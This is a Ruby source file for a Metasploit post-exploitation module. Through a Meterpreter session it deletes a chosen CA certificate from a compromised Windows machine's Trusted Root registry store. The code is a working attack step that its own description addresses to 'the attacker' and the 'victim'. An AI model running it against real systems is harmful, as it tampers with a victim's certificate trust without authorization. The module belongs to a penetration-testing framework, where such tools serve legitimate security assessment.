metasploit-framework/modules/post/windows/manage/remove_ca.rb

57 lines
1.7 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Post
2013-08-30 21:28:54 +00:00
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Certificate Authority Removal',
'Description' => %q{
This module allows the attacker to remove an arbitrary CA certificate
from the victim's Trusted Root store.},
'License' => BSD_LICENSE,
'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptString.new('CERTID', [ true, 'SHA1 hash of the certificate to remove.', '']),
], self.class)
end
def run
certtoremove = datastore['CERTID']
open_key = nil
key = "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\SystemCertificates\\ROOT\\Certificates"
rkey,bkey = client.sys.registry.splitkey(key)
# Check if the requested cert is actually in the registry to start with
open_key = client.sys.registry.open_key(rkey, bkey, KEY_READ + 0x0000)
keys = open_key.enum_key
if (keys.length > 1)
if (keys.include?(certtoremove))
# We found our target
else
print_error("The specified CA is not in the registry.")
return
end
else
print_error("These are not the CAs you are looking for (i.e. this registry branch is empty)")
end
open_key = client.sys.registry.open_key(rkey, bkey, KEY_WRITE + 0x0000)
open_key.delete_key(certtoremove)
print_good("Successfully deleted CA: #{certtoremove}")
end
end